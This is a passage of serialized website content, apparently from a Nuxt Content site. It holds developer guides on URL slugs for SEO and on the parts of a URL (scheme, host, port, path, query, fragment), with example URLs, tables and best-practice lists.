",[143,218380,27989],{},[143,218382,6849],{},[143,218384,6852],{},[143,218386,17990],{}," are stripped entirely or percent-encoded, producing ugly URLs.",[44,218389,218390,218393,218394,52609,218396,1459,218398,52609,218401,1459,218403,52609,218406,468],{},[47,218391,218392],{},"Strip diacritics."," Convert accented characters to their ASCII equivalents: ",[143,218395,24101],{},[143,218397,96224],{},[143,218399,218400],{},"ü",[143,218402,25570],{},[143,218404,218405],{},"ñ",[143,218407,22610],{},[44,218409,218410,218413],{},[47,218411,218412],{},"Collapse multiple separators."," Replace consecutive hyphens or spaces with a single hyphen.",[44,218415,218416,218419],{},[47,218417,218418],{},"Trim leading and trailing separators."," Slugs should never start or end with a hyphen.",[11,218421,218423],{"id":218422},"good-slugs-vs-bad-slugs","Good Slugs vs Bad Slugs",[193,218425,218426,218438],{},[196,218427,218428],{},[199,218429,218430,218433,218435],{},[202,218431,218432],{},"Bad Slug",[202,218434,27730],{},[202,218436,218437],{},"Good Slug",[211,218439,218440,218455,218470,218485,218500,218515],{},[199,218441,218442,218447,218450],{},[216,218443,218444],{},[143,218445,218446],{},"\u002FBlog_Post_About_SEO",[216,218448,218449],{},"Uppercase, underscores",[216,218451,218452],{},[143,218453,218454],{},"\u002Fblog-post-about-seo",[199,218456,218457,218462,218465],{},[216,218458,218459],{},[143,218460,218461],{},"\u002Fhow%20to%20cook%20pasta",[216,218463,218464],{},"Encoded spaces",[216,218466,218467],{},[143,218468,218469],{},"\u002Fhow-to-cook-pasta",[199,218471,218472,218477,218480],{},[216,218473,218474],{},[143,218475,218476],{},"\u002Fcategory\u002Fsub\u002Fpost-38472",[216,218478,218479],{},"Numeric ID, deep nesting",[216,218481,218482],{},[143,218483,218484],{},"\u002Fhow-to-fix-a-leaky-faucet",[199,218486,218487,218492,218495],{},[216,218488,218489],{},[143,218490,218491],{},"\u002Fcafé-recipes",[216,218493,218494],{},"Non-ASCII character",[216,218496,218497],{},[143,218498,218499],{},"\u002Fcafe-recipes",[199,218501,218502,218507,218510],{},[216,218503,218504],{},[143,218505,218506],{},"\u002Ftop---10---tips",[216,218508,218509],{},"Multiple hyphens",[216,218511,218512],{},[143,218513,218514],{},"\u002Ftop-10-tips",[199,218516,218517,218522,218525],{},[216,218518,218519],{},[143,218520,218521],{},"\u002Fa-complete-and-total-guide-to-everything-about-seo-optimization",[216,218523,218524],{},"Keyword stuffing, too long",[216,218526,218527],{},[143,218528,218529],{},"\u002Fcomplete-seo-guide",[11,218531,218533],{"id":218532},"how-different-cms-platforms-handle-slugs","How Different CMS Platforms Handle Slugs",[33,218535,218537],{"id":218536},"wordpress","WordPress",[16,218539,218540],{},"WordPress auto-generates slugs from post titles. You can edit the slug before publishing in the post editor. WordPress strips special characters, converts to lowercase, and uses hyphens. Permalink settings control the overall URL structure.",[33,218542,9630],{"id":125639},[16,218544,218545,218546,180637,218549,218552],{},"In Next.js, slugs come from the file system. A file named ",[143,218547,218548],{},"[slug].js",[143,218550,218551],{},"\u002Fpages\u002Fblog\u002F"," captures the slug as a route parameter. You generate slug values yourself when creating content, typically during the build step from frontmatter or a headless CMS.",[33,218554,9617],{"id":8946},[16,218556,218557,218558,218561,218562,28736,218565,218567],{},"Nuxt follows a similar pattern. Dynamic routes use ",[143,218559,218560],{},"[slug].vue"," files. With Nuxt Content, the file path defines the route automatically — a file at ",[143,218563,218564],{},"content\u002Fblog\u002Fmy-post.md",[143,218566,182277],{},". The slug is derived from the filename, so name your content files carefully.",[11,218569,218571],{"id":218570},"the-slug-vs-uuid-debate","The Slug vs UUID Debate",[16,218573,218574,218575,218578],{},"Some teams use UUIDs instead of slugs for resource URLs: ",[143,218576,218577],{},"\u002Fusers\u002F550e8400-e29b-41d4-a716-446655440000",". This approach avoids slug collision and eliminates the need for slug generation logic.",[16,218580,218581],{},[47,218582,218583],{},"When UUIDs make sense:",[41,218585,218586,218589,218592],{},[44,218587,218588],{},"Internal APIs and admin dashboards where readability doesn't matter",[44,218590,218591],{},"Systems that require globally unique identifiers without coordination",[44,218593,218594],{},"Short-lived resources that search engines won't index",[16,218596,218597],{},[47,218598,218599],{},"When slugs win:",[41,218601,218602,218605,218608],{},[44,218603,218604],{},"Public-facing pages that need search visibility",[44,218606,218607],{},"Content that users share or bookmark",[44,218609,218610],{},"URLs displayed in navigation, breadcrumbs, or social media previews",[16,218612,218613,218614,218617],{},"A common compromise: include both the slug and the ID — ",[143,218615,218616],{},"\u002Fblog\u002Fhow-to-code-abc123",". The slug provides readability and SEO value; the ID guarantees uniqueness.",[11,218619,1355],{"id":1354},[41,218621,218622,218625,218628,218631,218634,218637,218640],{},[44,218623,218624],{},"A slug is the descriptive, human-readable segment of a URL",[44,218626,218627],{},"Slugs directly influence SEO readability, keyword signals, and click-through rate",[44,218629,218630],{},"Always use lowercase, hyphens, and ASCII-only characters",[44,218632,218633],{},"Keep slugs concise — 3 to 5 words is the sweet spot",[44,218635,218636],{},"Strip diacritics and special characters during generation",[44,218638,218639],{},"Different CMS platforms handle slug generation differently — know your platform",[44,218641,218642],{},"Combine slugs with IDs when you need both readability and guaranteed uniqueness",[11,218644,321],{"id":320},[41,218646,218647,218651,218655],{},[44,218648,218649],{},[98,218650,182214],{"href":182736},[44,218652,218653],{},[98,218654,182703],{"href":182702},[44,218656,218657],{},[98,218658,12185],{"href":12184},[11,218660,286],{"id":285},[16,218662,218663,218664,218666],{},"Generate clean, SEO-ready slugs from any title instantly with our free ",[98,218665,156905],{"href":156904},". Paste your heading, get a URL-safe slug in one click — no signup required.",{"title":141,"searchDepth":337,"depth":337,"links":218668},[218669,218670,218671,218672,218673,218678,218679,218680,218681],{"id":218289,"depth":337,"text":218290},{"id":218313,"depth":337,"text":218314},{"id":218349,"depth":337,"text":218350},{"id":218422,"depth":337,"text":218423},{"id":218532,"depth":337,"text":218533,"children":218674},[218675,218676,218677],{"id":218536,"depth":343,"text":218537},{"id":125639,"depth":343,"text":9630},{"id":8946,"depth":343,"text":9617},{"id":218570,"depth":337,"text":218571},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn what URL slugs are, how they impact SEO, and best practices for creating clean, human-readable URLs for your website.",{"immutable":363},{"title":182697,"description":218682},"guides\u002Furl-slug-guide","zPNZAJFUzuq0anR0FDrYd1RKJv_49TgSxRNG_MpgCEY",{"id":218688,"title":218689,"body":218690,"date":2070,"description":219143,"extension":361,"meta":219144,"navigation":363,"path":219145,"readingTime":1717,"seo":219146,"stem":219147,"__hash__":219148},"guides\u002Fguides\u002Furl-slugs-seo-complete-guide.md","URL Slugs and SEO: Complete Guide for Higher Rankings",{"type":8,"value":218691,"toc":219120},[218692,218694,218704,218707,218709,218713,218716,218720,218723,218729,218732,218736,218739,218743,218747,218750,218765,218768,218772,218775,218828,218832,218835,218841,218844,218848,218857,218861,218864,218879,218882,218886,218896,218911,218915,218918,218933,218936,218940,218943,218949,218952,218956,219033,219037,219040,219066,219069,219071,219094,219096,219110,219112,219118],[11,218693,218290],{"id":218289},[16,218695,218696,218697,218700,218701,468],{},"The slug is the part of a URL that identifies a specific page in human-readable form. In ",[143,218698,218699],{},"https:\u002F\u002Fexample.com\u002Fguides\u002Fcss-gradient-tutorial",", the slug is ",[143,218702,218703],{},"css-gradient-tutorial",[16,218705,218706],{},"Slugs are one of the few on-page elements you fully control. Search engines read them as a ranking signal, and users read them to decide whether to click. A well-crafted slug serves both audiences.",[11,218708,218314],{"id":218313},[33,218710,218712],{"id":218711},"search-engine-signal","Search Engine Signal",[16,218714,218715],{},"Google has confirmed that URLs are a minor ranking factor. The slug's keywords help crawlers understand page content before parsing the page itself. While not as influential as title tags or backlinks, a keyword-rich slug provides a relevancy edge — especially for long-tail queries.",[33,218717,218719],{"id":218718},"click-through-rate","Click-Through Rate",[16,218721,218722],{},"Search results display the URL beneath the title. Users scan slugs to assess relevance. Compare these two results:",[135,218724,218727],{"className":218725,"code":218726,"language":140},[138],"example.com\u002Fp\u002F12345\nexample.com\u002Fguides\u002Fcss-gradient-tutorial\n",[143,218728,218726],{"__ignoreMap":141},[16,218730,218731],{},"The descriptive slug communicates content before the user clicks, increasing confidence and click-through rate.",[33,218733,218735],{"id":218734},"link-context","Link Context",[16,218737,218738],{},"When other sites link to your page, the URL text surrounding the anchor provides context. A descriptive slug reinforces the link's topical relevance.",[11,218740,218742],{"id":218741},"slug-best-practices","Slug Best Practices",[33,218744,218746],{"id":218745},"include-your-primary-keyword","Include Your Primary Keyword",[16,218748,218749],{},"Place the target keyword near the beginning of the slug:",[135,218751,218753],{"className":164532,"code":218752,"language":35165,"meta":141,"style":141},"- \u002Fguides\u002Fa-complete-guide-to-css-gradients\n+ \u002Fguides\u002Fcss-gradient-tutorial\n",[143,218754,218755,218760],{"__ignoreMap":141},[1560,218756,218757],{"class":1562,"line":1563},[1560,218758,218759],{},"- \u002Fguides\u002Fa-complete-guide-to-css-gradients\n",[1560,218761,218762],{"class":1562,"line":337},[1560,218763,218764],{},"+ \u002Fguides\u002Fcss-gradient-tutorial\n",[16,218766,218767],{},"The keyword-first slug is shorter, scannable, and avoids filler words.",[33,218769,218771],{"id":218770},"keep-slugs-short","Keep Slugs Short",[16,218773,218774],{},"Aim for 3–5 words. Every unnecessary word dilutes keyword density and makes the URL harder to read at a glance.",[193,218776,218777,218788],{},[196,218778,218779],{},[199,218780,218781,218783,218785],{},[202,218782,142795],{},[202,218784,185433],{},[202,218786,218787],{},"Verdict",[211,218789,218790,218802,218815],{},[199,218791,218792,218794,218799],{},[216,218793,175880],{},[216,218795,218796],{},[143,218797,218798],{},"\u002Fcss-gradient-tutorial",[216,218800,218801],{},"Concise, keyword-focused",[199,218803,218804,218807,218812],{},[216,218805,218806],{},"Okay",[216,218808,218809],{},[143,218810,218811],{},"\u002Fhow-to-create-css-gradients",[216,218813,218814],{},"Keyword present but padded",[199,218816,218817,218820,218825],{},[216,218818,218819],{},"Bad",[216,218821,218822],{},[143,218823,218824],{},"\u002Fa-complete-guide-to-creating-beautiful-css-gradients-for-your-website",[216,218826,218827],{},"Unreadable, diluted",[33,218829,218831],{"id":218830},"use-hyphens-not-underscores","Use Hyphens, Not Underscores",[16,218833,218834],{},"Google treats hyphens as word separators. Underscores connect words together.",[135,218836,218839],{"className":218837,"code":218838,"language":140},[138],"\u002Fcss-gradient-tutorial  →  Google reads \"css\" \"gradient\" \"tutorial\"\n\u002Fcss_gradient_tutorial  →  Google reads \"css_gradient_tutorial\"\n",[143,218840,218838],{"__ignoreMap":141},[16,218842,218843],{},"Always use hyphens.",[33,218845,218847],{"id":218846},"lowercase-only","Lowercase Only",[16,218849,218850,218851,1856,218854,218856],{},"Most servers treat URLs as case-sensitive. ",[143,218852,218853],{},"\u002FCSS-Gradient-Tutorial",[143,218855,218798],{}," are different URLs. Lowercase slugs prevent duplicate content problems and link fragmentation.",[33,218858,218860],{"id":218859},"remove-stop-words","Remove Stop Words",[16,218862,218863],{},"Articles, prepositions, and conjunctions add no value:",[135,218865,218867],{"className":164532,"code":218866,"language":35165,"meta":141,"style":141},"- \u002Fa-guide-to-the-best-css-gradients\n+ \u002Fbest-css-gradients\n",[143,218868,218869,218874],{"__ignoreMap":141},[1560,218870,218871],{"class":1562,"line":1563},[1560,218872,218873],{},"- \u002Fa-guide-to-the-best-css-gradients\n",[1560,218875,218876],{"class":1562,"line":337},[1560,218877,218878],{},"+ \u002Fbest-css-gradients\n",[16,218880,218881],{},"Common stop words: a, an, the, of, in, on, to, for, with, and, or, but.",[33,218883,218885],{"id":218884},"avoid-special-characters","Avoid Special Characters",[16,218887,218888,218889,1459,218892,218895],{},"Stick to ",[143,218890,218891],{},"a-z",[143,218893,218894],{},"0-9",", and hyphens. Special characters require percent-encoding, making URLs ugly and harder to share:",[135,218897,218899],{"className":164532,"code":218898,"language":35165,"meta":141,"style":141},"- \u002Fguide\u002F50%-off-sale\n+ \u002Fguide\u002F50-percent-off-sale\n",[143,218900,218901,218906],{"__ignoreMap":141},[1560,218902,218903],{"class":1562,"line":1563},[1560,218904,218905],{},"- \u002Fguide\u002F50%-off-sale\n",[1560,218907,218908],{"class":1562,"line":337},[1560,218909,218910],{},"+ \u002Fguide\u002F50-percent-off-sale\n",[33,218912,218914],{"id":218913},"strip-dates-usually","Strip Dates (Usually)",[16,218916,218917],{},"Unless your content is time-sensitive (news, events), remove dates from slugs. Dated slugs signal stale content and force you to create new URLs when you update:",[135,218919,218921],{"className":164532,"code":218920,"language":35165,"meta":141,"style":141},"- \u002Fguides\u002F2024\u002Fcss-gradients\n+ \u002Fguides\u002Fcss-gradients\n",[143,218922,218923,218928],{"__ignoreMap":141},[1560,218924,218925],{"class":1562,"line":1563},[1560,218926,218927],{},"- \u002Fguides\u002F2024\u002Fcss-gradients\n",[1560,218929,218930],{"class":1562,"line":337},[1560,218931,218932],{},"+ \u002Fguides\u002Fcss-gradients\n",[16,218934,218935],{},"Date-free slugs stay evergreen.",[11,218937,218939],{"id":218938},"url-structure-hierarchy","URL Structure Hierarchy",[16,218941,218942],{},"Organize slugs within a logical folder structure:",[135,218944,218947],{"className":218945,"code":218946,"language":140},[138],"\u002Ftools\u002Fcss-gradient        →  Tool page\n\u002Fguides\u002Fcss-gradient-guide  →  Guide article\n\u002Fblog\u002Fcss-gradient-tips     →  Blog post\n",[143,218948,218946],{"__ignoreMap":141},[16,218950,218951],{},"This hierarchy communicates content type to both users and search engines. Avoid deep nesting — more than two levels of folders makes URLs unnecessarily long.",[11,218953,218955],{"id":218954},"common-slug-mistakes","Common Slug Mistakes",[193,218957,218958,218968],{},[196,218959,218960],{},[199,218961,218962,218964,218966],{},[202,218963,3684],{},[202,218965,133],{},[202,218967,3690],{},[211,218969,218970,218983,218995,219010,219021],{},[199,218971,218972,218975,218980],{},[216,218973,218974],{},"Auto-generated IDs",[216,218976,218977],{},[143,218978,218979],{},"\u002Fp\u002F482937",[216,218981,218982],{},"Use descriptive slugs",[199,218984,218985,218987,218992],{},[216,218986,182620],{},[216,218988,218989],{},[143,218990,218991],{},"\u002Fcss-gradient-css-gradients-best-gradient",[216,218993,218994],{},"One keyword phrase",[199,218996,218997,219000,219007],{},[216,218998,218999],{},"Changing slugs",[216,219001,219002,52609,219005],{},[143,219003,219004],{},"\u002Fcss-gradient-tut",[143,219006,218798],{},[216,219008,219009],{},"301 redirect old to new",[199,219011,219012,219014,219018],{},[216,219013,182650],{},[216,219015,219016],{},[143,219017,217607],{},[216,219019,219020],{},"Use clean URL paths",[199,219022,219023,219026,219030],{},[216,219024,219025],{},"Mixed case",[216,219027,219028],{},[143,219029,218853],{},[216,219031,219032],{},"Always lowercase",[11,219034,219036],{"id":219035},"when-you-must-change-a-slug","When You Must Change a Slug",[16,219038,219039],{},"Sometimes slugs need updating — content pivots, keyword strategy shifts, or you fix a typo. When you change a slug:",[77,219041,219042,219048,219054,219060],{},[44,219043,219044,219047],{},[47,219045,219046],{},"Set up a 301 redirect"," from the old URL to the new one",[44,219049,219050,219053],{},[47,219051,219052],{},"Update all internal links"," pointing to the old URL",[44,219055,219056,219059],{},[47,219057,219058],{},"Resubmit the sitemap"," to Google Search Console",[44,219061,219062,219065],{},[47,219063,219064],{},"Monitor for 404s"," in the weeks following the change",[16,219067,219068],{},"Without redirects, you lose all link equity and indexed history associated with the old URL.",[11,219070,1355],{"id":1354},[41,219072,219073,219076,219079,219082,219085,219088,219091],{},[44,219074,219075],{},"Slugs are a controllable SEO signal — use your primary keyword near the start",[44,219077,219078],{},"Keep slugs to 3–5 words; remove stop words and filler",[44,219080,219081],{},"Always use hyphens as separators, never underscores",[44,219083,219084],{},"Use lowercase only to prevent duplicate content issues",[44,219086,219087],{},"Avoid dates and special characters for evergreen, clean URLs",[44,219089,219090],{},"Organize slugs within a hierarchy that signals content type",[44,219092,219093],{},"Never change a slug without setting up a 301 redirect",[11,219095,321],{"id":320},[41,219097,219098,219102,219106],{},[44,219099,219100],{},[98,219101,183675],{"href":182696},[44,219103,219104],{},[98,219105,186079],{"href":182736},[44,219107,219108],{},[98,219109,186084],{"href":182702},[11,219111,286],{"id":285},[16,219113,219114,219115,219117],{},"Generate optimized URL slugs instantly with our free ",[98,219116,156905],{"href":156904},". Paste your page title, get a clean keyword-rich slug — no manual editing required.",[2043,219119,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":219121},[219122,219123,219128,219137,219138,219139,219140,219141,219142],{"id":218289,"depth":337,"text":218290},{"id":218313,"depth":337,"text":218314,"children":219124},[219125,219126,219127],{"id":218711,"depth":343,"text":218712},{"id":218718,"depth":343,"text":218719},{"id":218734,"depth":343,"text":218735},{"id":218741,"depth":337,"text":218742,"children":219129},[219130,219131,219132,219133,219134,219135,219136],{"id":218745,"depth":343,"text":218746},{"id":218770,"depth":343,"text":218771},{"id":218830,"depth":343,"text":218831},{"id":218846,"depth":343,"text":218847},{"id":218859,"depth":343,"text":218860},{"id":218884,"depth":343,"text":218885},{"id":218913,"depth":343,"text":218914},{"id":218938,"depth":337,"text":218939},{"id":218954,"depth":337,"text":218955},{"id":219035,"depth":337,"text":219036},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master URL slugs for SEO — keyword placement, length, structure, and common mistakes that hurt your search rankings.",{"immutable":363},"\u002Fguides\u002Furl-slugs-seo-complete-guide",{"title":218689,"description":219143},"guides\u002Furl-slugs-seo-complete-guide","1XljthfnIGfSdp_aepmHk-nqNO9L1ABZEvJeWgP55_o",{"id":219150,"title":219151,"body":219152,"date":2070,"description":219804,"extension":361,"meta":219805,"navigation":363,"path":102124,"readingTime":1710,"seo":219806,"stem":219807,"__hash__":219808},"guides\u002Fguides\u002Furl-structure-explained.md","URL Structure Explained: Every Part of a Web Address",{"type":8,"value":219153,"toc":219779},[219154,219158,219161,219164,219170,219173,219177,219180,219186,219317,219321,219342,219348,219356,219360,219366,219368,219371,219377,219379,219382,219416,219419,219425,219428,219431,219437,219440,219442,219445,219451,219461,219465,219468,219519,219525,219529,219537,219543,219548,219551,219554,219560,219563,219577,219581,219584,219626,219629,219635,219639,219649,219655,219658,219662,219666,219669,219675,219682,219688,219694,219698,219706,219712,219715,219719,219727,219730,219732,219755,219757,219771,219773],[11,219155,219157],{"id":219156},"what-is-a-url","What Is a URL?",[16,219159,219160],{},"A URL (Uniform Resource Locator) is the address you type into a browser to reach a specific resource on the internet. Every web page, image, and API endpoint has one. Understanding URL structure helps you debug routing issues, build correct links, and communicate with APIs confidently.",[16,219162,219163],{},"RFC 3986 defines the general syntax:",[135,219165,219168],{"className":219166,"code":219167,"language":140},[138],"scheme:\u002F\u002Fauthority\u002Fpath?query#fragment\n",[143,219169,219167],{"__ignoreMap":141},[16,219171,219172],{},"Each part serves a distinct purpose. Let's break them down.",[11,219174,219176],{"id":219175},"the-components-of-a-url","The Components of a URL",[16,219178,219179],{},"Here is a complete URL with every possible component:",[135,219181,219184],{"className":219182,"code":219183,"language":140},[138],"https:\u002F\u002Fuser:pass@example.com:8080\u002Fdocs\u002Fapi?q=hello&lang=en#results\n",[143,219185,219183],{"__ignoreMap":141},[193,219187,219188,219200],{},[196,219189,219190],{},[199,219191,219192,219194,219196,219198],{},[202,219193,29085],{},[202,219195,13018],{},[202,219197,133],{},[202,219199,209101],{},[211,219201,219202,219218,219234,219248,219265,219283,219300],{},[199,219203,219204,219206,219211,219216],{},[216,219205,130354],{},[216,219207,219208],{},[143,219209,219210],{},"protocol:",[216,219212,219213],{},[143,219214,219215],{},"https:",[216,219217,3057],{},[199,219219,219220,219223,219228,219232],{},[216,219221,219222],{},"User Info",[216,219224,219225],{},[143,219226,219227],{},"user:pass@",[216,219229,219230],{},[143,219231,219227],{},[216,219233,6117],{},[199,219235,219236,219239,219242,219246],{},[216,219237,219238],{},"Hostname",[216,219240,219241],{},"domain or IP",[216,219243,219244],{},[143,219245,13778],{},[216,219247,3057],{},[199,219249,219250,219253,219258,219263],{},[216,219251,219252],{},"Port",[216,219254,219255],{},[143,219256,219257],{},":number",[216,219259,219260],{},[143,219261,219262],{},":8080",[216,219264,6117],{},[199,219266,219267,219269,219274,219279],{},[216,219268,26452],{},[216,219270,219271],{},[143,219272,219273],{},"\u002Fsegment\u002F...",[216,219275,219276],{},[143,219277,219278],{},"\u002Fdocs\u002Fapi",[216,219280,130368,219281,1525],{},[143,219282,9423],{},[199,219284,219285,219288,219293,219298],{},[216,219286,219287],{},"Query",[216,219289,219290],{},[143,219291,219292],{},"?key=value&...",[216,219294,219295],{},[143,219296,219297],{},"?q=hello&lang=en",[216,219299,6117],{},[199,219301,219302,219305,219310,219315],{},[216,219303,219304],{},"Fragment",[216,219306,219307],{},[143,219308,219309],{},"#identifier",[216,219311,219312],{},[143,219313,219314],{},"#results",[216,219316,6117],{},[11,219318,219320],{"id":219319},"scheme-protocol","Scheme (Protocol)",[16,219322,219323,219324,1856,219326,219329,219330,1459,219333,1459,219336,1466,219338,219341],{},"The scheme tells the browser which protocol to use. The two most common schemes on the web are ",[143,219325,185077],{},[143,219327,219328],{},"https",". Other examples include ",[143,219331,219332],{},"ftp",[143,219334,219335],{},"mailto",[143,219337,110447],{},[143,219339,219340],{},"ws"," (WebSocket).",[135,219343,219346],{"className":219344,"code":219345,"language":140},[138],"https:\u002F\u002Fexample.com\n^^^^^^\nscheme\n",[143,219347,219345],{"__ignoreMap":141},[16,219349,99048,219350,219352,219353,219355],{},[143,219351,219328],{}," in production. Modern browsers flag ",[143,219354,185077],{}," sites as insecure, and search engines rank HTTPS pages higher.",[11,219357,219359],{"id":219358},"authority-host-and-port","Authority (Host and Port)",[16,219361,219362,219363,219365],{},"The authority section contains the hostname, optional port, and optional user info. It tells the browser ",[47,219364,193144],{}," to connect.",[33,219367,219238],{"id":8106},[16,219369,219370],{},"The hostname identifies the server. It can be a domain name or an IP address.",[135,219372,219375],{"className":219373,"code":219374,"language":140},[138],"https:\u002F\u002Fexample.com       → domain name\nhttps:\u002F\u002F192.168.1.1       → IPv4 address\nhttps:\u002F\u002F[::1]             → IPv6 address (brackets required)\n",[143,219376,219374],{"__ignoreMap":141},[33,219378,219252],{"id":154809},[16,219380,219381],{},"Ports differentiate services running on the same machine. Most of the time you omit them because browsers use default ports:",[193,219383,219384,219393],{},[196,219385,219386],{},[199,219387,219388,219390],{},[202,219389,130354],{},[202,219391,219392],{},"Default Port",[211,219394,219395,219401,219409],{},[199,219396,219397,219399],{},[216,219398,117492],{},[216,219400,5321],{},[199,219402,219403,219406],{},[216,219404,219405],{},"HTTPS",[216,219407,219408],{},"443",[199,219410,219411,219414],{},[216,219412,219413],{},"FTP",[216,219415,4772],{},[16,219417,219418],{},"You only specify a port when it differs from the default:",[135,219420,219423],{"className":219421,"code":219422,"language":140},[138],"https:\u002F\u002Fexample.com:8080   → custom port\nhttps:\u002F\u002Fexample.com        → defaults to 443\n",[143,219424,219422],{"__ignoreMap":141},[33,219426,219222],{"id":219427},"user-info",[16,219429,219430],{},"Rarely seen in browsers, user info appears in database URLs and internal service addresses:",[135,219432,219435],{"className":219433,"code":219434,"language":140},[138],"postgresql:\u002F\u002Fadmin:secret@db.internal:5432\u002Fmydb\n",[143,219436,219434],{"__ignoreMap":141},[16,219438,219439],{},"Avoid putting credentials in URLs for public-facing applications. They appear in server logs, browser history, and referrer headers.",[11,219441,26452],{"id":11226},[16,219443,219444],{},"The path identifies a specific resource on the server. It resembles a filesystem path but is defined by the server's routing logic — not an actual file on disk.",[135,219446,219449],{"className":219447,"code":219448,"language":140},[138],"https:\u002F\u002Fexample.com\u002Fdocs\u002Fapi\u002Fusers\n                     ^^^^^^^^^^^^^^\n                     path\n",[143,219450,219448],{"__ignoreMap":141},[16,219452,219453,219454,1856,219457,219460],{},"Paths are case-sensitive on most servers. ",[143,219455,219456],{},"\u002FDocs",[143,219458,219459],{},"\u002Fdocs"," may point to different resources.",[33,219462,219464],{"id":219463},"path-encoding","Path Encoding",[16,219466,219467],{},"Certain characters in paths require percent-encoding:",[193,219469,219470,219480],{},[196,219471,219472],{},[199,219473,219474,219476,219478],{},[202,219475,7809],{},[202,219477,172482],{},[202,219479,23393],{},[211,219481,219482,219493,219506],{},[199,219483,219484,219486,219490],{},[216,219485,6093],{},[216,219487,219488],{},[143,219489,34150],{},[216,219491,219492],{},"Spaces are illegal in URLs",[199,219494,219495,219499,219503],{},[216,219496,219497],{},[143,219498,17990],{},[216,219500,219501],{},[143,219502,33701],{},[216,219504,219505],{},"The percent sign starts an encoding",[199,219507,219508,219511,219516],{},[216,219509,219510],{},"Non-ASCII",[216,219512,219513],{},[143,219514,219515],{},"%XX%XX",[216,219517,219518],{},"Unicode uses UTF-8 byte encoding",[16,219520,219521,219522,219524],{},"Use hyphens ",[143,219523,9412],{}," instead of spaces or underscores in URL paths for better readability and SEO.",[11,219526,219528],{"id":219527},"query-string","Query String",[16,219530,219531,219532,219534,219535,8037],{},"The query string passes data to the server. It starts with ",[143,219533,33994],{}," and contains key-value pairs separated by ",[143,219536,13530],{},[135,219538,219541],{"className":219539,"code":219540,"language":140},[138],"?q=hello&lang=en&page=2\n^                     ^\nstart                end\n",[143,219542,219540],{"__ignoreMap":141},[16,219544,219545,219546,468],{},"Query parameters handle search terms, filters, pagination, and tracking codes. For a deep dive into encoding and best practices, see our ",[98,219547,102131],{"href":102130},[11,219549,219304],{"id":219550},"fragment",[16,219552,219553],{},"The fragment (or anchor) points to a specific section within a page:",[135,219555,219558],{"className":219556,"code":219557,"language":140},[138],"https:\u002F\u002Fexample.com\u002Fdocs#installation\n                     ^^^^^^^^^^^^^^^^\n                     fragment\n",[143,219559,219557],{"__ignoreMap":141},[16,219561,219562],{},"Key facts about fragments:",[41,219564,219565,219568,219574],{},[44,219566,219567],{},"The browser never sends the fragment to the server",[44,219569,219570,219571],{},"JavaScript reads it via ",[143,219572,219573],{},"window.location.hash",[44,219575,219576],{},"Clicking a fragment link scrolls the page without a full reload",[11,219578,219580],{"id":219579},"relative-vs-absolute-urls","Relative vs Absolute URLs",[16,219582,219583],{},"URLs come in two forms:",[193,219585,219586,219596],{},[196,219587,219588],{},[199,219589,219590,219592,219594],{},[202,219591,34969],{},[202,219593,133],{},[202,219595,55330],{},[211,219597,219598,219611],{},[199,219599,219600,219603,219608],{},[216,219601,219602],{},"Absolute",[216,219604,219605],{},[143,219606,219607],{},"https:\u002F\u002Fexample.com\u002Fdocs\u002Fapi",[216,219609,219610],{},"External links, cross-origin references",[199,219612,219613,219616,219623],{},[216,219614,219615],{},"Relative",[216,219617,219618,1531,219620],{},[143,219619,219278],{},[143,219621,219622],{},"..\u002Fapi",[216,219624,219625],{},"Internal links within the same site",[16,219627,219628],{},"Relative URLs resolve against the current page's base URL. Use relative paths for internal navigation — they survive domain changes and work across environments.",[135,219630,219633],{"className":219631,"code":219632,"language":140},[138],"\u003C!-- Absolute — breaks if domain changes -->\n\u003Ca href=\"https:\u002F\u002Fexample.com\u002Fabout\">About\u003C\u002Fa>\n\n\u003C!-- Relative — works on any domain -->\n\u003Ca href=\"\u002Fabout\">About\u003C\u002Fa>\n",[143,219634,219632],{"__ignoreMap":141},[11,219636,219638],{"id":219637},"internationalized-domain-names-idn","Internationalized Domain Names (IDN)",[16,219640,219641,219642,1531,219645,219648],{},"Domain names can contain non-ASCII characters like ",[143,219643,219644],{},"münchen.de",[143,219646,219647],{},"中国.cn",". Browsers display the Unicode form but send the ASCII-compatible encoding (Punycode) to DNS:",[135,219650,219653],{"className":219651,"code":219652,"language":140},[138],"Display: münchen.de\nActual:  xn--mnchen-3ya.de\n",[143,219654,219652],{"__ignoreMap":141},[16,219656,219657],{},"You must register the Punycode version with your DNS provider. Most registrars handle this conversion automatically.",[11,219659,219661],{"id":219660},"common-url-pitfalls","Common URL Pitfalls",[33,219663,219665],{"id":219664},"default-port-confusion","Default Port Confusion",[16,219667,219668],{},"Omitting a default port and specifying it produce the same origin:",[135,219670,219673],{"className":219671,"code":219672,"language":140},[138],"https:\u002F\u002Fexample.com       ← same origin →\nhttps:\u002F\u002Fexample.com:443\n",[143,219674,219672],{"__ignoreMap":141},[16,219676,219677,219678,219681],{},"But non-default ports create ",[47,219679,219680],{},"different"," origins:",[135,219683,219686],{"className":219684,"code":219685,"language":140},[138],"https:\u002F\u002Fexample.com       ← different origin →\nhttps:\u002F\u002Fexample.com:8443\n",[143,219687,219685],{"__ignoreMap":141},[16,219689,219690,219691,468],{},"This matters for CORS, cookies, and ",[143,219692,219693],{},"localStorage",[33,219695,219697],{"id":219696},"path-encoding-differences","Path Encoding Differences",[16,219699,219700,219701,5181,219703,219705],{},"Not all encoded paths are equivalent. Some servers decode ",[143,219702,84140],{},[143,219704,9423],{},") in paths, while others treat it as a literal character:",[135,219707,219710],{"className":219708,"code":219709,"language":140},[138],"\u002Fapi\u002Fusers%2Fadmin   → might route to \u002Fapi\u002Fusers\u002Fadmin or to \u002Fapi\u002Fusers%2Fadmin\n",[143,219711,219709],{"__ignoreMap":141},[16,219713,219714],{},"Avoid encoding slashes in path segments. If you need slashes as data, use query parameters instead.",[33,219716,219718],{"id":219717},"trailing-slashes","Trailing Slashes",[16,219720,219721,1856,219724,219726],{},[143,219722,219723],{},"\u002Fdocs\u002F",[143,219725,219459],{}," may resolve to different resources depending on the server. Most frameworks redirect one to the other, but inconsistent handling causes duplicate content issues in search engines.",[16,219728,219729],{},"Pick one convention and enforce it across your application.",[11,219731,1355],{"id":1354},[41,219733,219734,219737,219740,219743,219746,219749,219752],{},[44,219735,219736],{},"URLs consist of scheme, authority, path, query, and fragment",[44,219738,219739],{},"Default ports (80 for HTTP, 443 for HTTPS) can be omitted",[44,219741,219742],{},"Paths are case-sensitive and require percent-encoding for special 